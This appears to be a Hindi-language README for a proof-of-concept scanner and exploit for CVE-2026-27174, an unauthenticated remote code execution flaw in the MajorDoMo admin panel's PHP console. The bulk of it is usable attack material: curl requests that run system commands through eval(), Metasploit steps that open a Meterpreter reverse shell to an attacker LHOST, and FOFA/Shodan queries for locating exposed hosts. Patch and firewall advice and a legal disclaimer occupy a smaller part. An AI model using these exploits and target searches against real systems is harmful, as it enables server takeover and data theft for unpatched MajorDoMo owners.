
CVE-2026-27174 - एडमिन पैनल की PHP कंसोल सुविधा के माध्यम से बिना प्रमाणीकरण के रिमोट कोड निष्पादन
MajorDomo (Major Domestic Module) के एडमिन पैनल की PHP कंसोल सुविधा के माध्यम से बिना प्रमाणीकरण के रिमोट कोड निष्पादन (unauthenticated remote code execution) का शोषण करने वाला एक proof-of-concept।
MajorDoMo का एडमिन पैनल /admin.php के माध्यम से एक PHP मूल्यांकन कंसोल प्रदर्शित करता है। panel.class.php में प्रमाणीकरण रीडायरेक्ट के बाद exit की कमी के कारण, AJAX हैंडलर inc_panel_ajax.php को बिना किसी शर्त के शामिल किया जाता है — जिससे इसका eval() किसी भी बिना प्रमाणीकरण वाले HTTP अनुरोध के लिए सुलभ हो जाता है।
एक हमलावर केवल एक GET अनुरोध से मनमाना PHP कोड निष्पादित कर सकता है, जिसके लिए न तो किसी क्रेडेंशियल की आवश्यकता होती है, न ही पूर्व पहुँच की, और न ही पीड़ित की कोई इंटरैक्शन।
scan.py एक गैर-विनाशकारी मल्टी-थ्रेडेड स्कैनर है जो CVE-2026-27174 के प्रति संवेदनशील होस्टों का पता लगाता है बिना कोई हानिकारक पेलोड निष्पादित किए।
स्कैनर प्रति लक्ष्य तीन अनुक्रमिक चरणों में कार्य करता है:
Phase 1 — RCE Confirmation
└─ Sends: echo 'random_marker';
└─ Checks: marker is reflected in the response body
└─ Confirms: eval() is reachable without authentication
Phase 2 — PHP Sandbox Profiling
└─ Sends: echo 'marker:' . ini_get('disable_functions');
└─ Extracts: list of disabled PHP functions on the server
Phase 3 — OS Execution Surface
└─ Probes: system, exec, shell_exec, passthru via function_exists()
└─ Classifies: impact level as HIGH or MEDIUM
प्रत्येक अनुरोध के लिए एक यादृच्छिक अल्फान्यूमेरिक मार्कर उत्पन्न किया जाता है, ताकि कैशिंग, WAF, या प्रतिक्रिया प्रदूषण से उत्पन्न गलत सकारात्मक परिणामों (false positives) से बचा जा सके।
pip install requests
एक targets.txt फ़ाइल बनाएँ, जिसमें प्रत्येक पंक्ति में एक IP:PORT हो:
192.168.1.10:8080
10.0.0.5:80
10.0.0.12:443
# lines starting with # are ignored
# only IP:PORT format is accepted
python3 scan.py targets.txt
[+] RCE PHP CONFIRMED -> http://192.168.1.10:8080/admin.php
[-] Not vulnerable -> 10.0.0.5:80
[+] Vulnerable targets exported to results.json
results.jsonजब कम से कम एक संवेदनशील होस्ट मिल जाता है तो यह फ़ाइल स्वचालित रूप से उत्पन्न होती है:
[
{
"target": "192.168.1.10:8080",
"url": "http://192.168.1.10:8080/admin.php",
"rce_php": true,
"disable_functions": "popen,pclose,proc_open",
"system_functions_available": ["system", "exec"],
"impact_level": "HIGH"
}
]
result.json फ़ाइल में system_functions_available फ़ील्ड के परिणाम के आधार पर, हम system फ़ंक्शन(ों) का उपयोग करके RCE का शोषण करने के लिए एक GET अनुरोध तैयार कर सकते हैं:
curl http://192.168.1.10:8080/admin.php?ajax_panel=1&op=console&command=echo+exec('id');
#or
curl http://192.168.1.10:8080/admin.php?ajax_panel=1&op=console&command=echo+system('id');
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Metasploit मॉड्यूल:
msfconsole
use exploit/multi/http/majordomo_console_eval_rce
set RHOSTS 192.168.1.10
set RPORT 8080
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 172.17.0.1
check #Verify it returns Vulnerable
run #Verify a Meterpreter session opens as www-data
FOFA:
title="MajorDomoSL"
SHODAN:
http.title:"MajorDomoSL"
एक दूरस्थ बिना प्रमाणीकरण वाला हमलावर निम्न कार्य कर सकता है:
वास्तविक प्रभाव सर्वर की disable_functions PHP कॉन्फ़िगरेशन पर निर्भर करता है:
CVSS 4.0 - 9.3 क्रिटिकल — CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CVSS 3.1 - 9.8 क्रिटिकल — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
MajorDomo (Major Domestic Module) के नवीनतम संस्करण में अपडेट करें।
| नियंत्रण | RCE रोकता है | OS निष्पादन रोकता है |
|---|
https://chocapikk.com/posts/2026/majordomo-revisited
https://nvd.nist.gov/vuln/detail/CVE-2026-27174
https://github.com/sergejey/majordomo/pull/1177
यह टूल केवल अधिकृत सुरक्षा परीक्षण के लिए है। कंप्यूटर सिस्टम तक अनधिकृत पहुँच अवैध है।
| फ़ील्ड | विवरण |
|---|
target | स्कैन किया गया IP:PORT |
url | वह पूर्ण URL जहाँ RCE की पुष्टि हुई |
rce_php | PHP कोड निष्पादन की पुष्टि (परिणामों में हमेशा true) |
disable_functions | सर्वर की disable_functions PHP सेटिंग (null यदि खाली हो) |
system_functions_available | OS निष्पादन फ़ंक्शन जिन्हें हमलावर कॉल कर सकता है |
impact_level | HIGH (OS exec सुलभ) या MEDIUM (केवल PHP RCE) |
| परिदृश्य | प्रभाव स्तर | विवरण |
|---|
कोई disable_functions नहीं | क्रिटिकल | पूर्ण OS कमांड निष्पादन |
| आंशिक प्रतिबंध | उच्च | PHP RCE + आंशिक OS निष्पादन |
disable_functions सभी exec को ब्लॉक करता है | मध्यम | केवल PHP RCE (फ़ाइल पढ़ना/लिखना, डेटा निष्कासन) |
| फरवरी 18, 2026 का पैच लागू करें | ✅ | ✅ |
/admin.php पर फ़ायरवॉल/IP अनुमतिसूची | ✅ | ✅ |
disable_functions हार्डनिंग | ❌ | ✅ |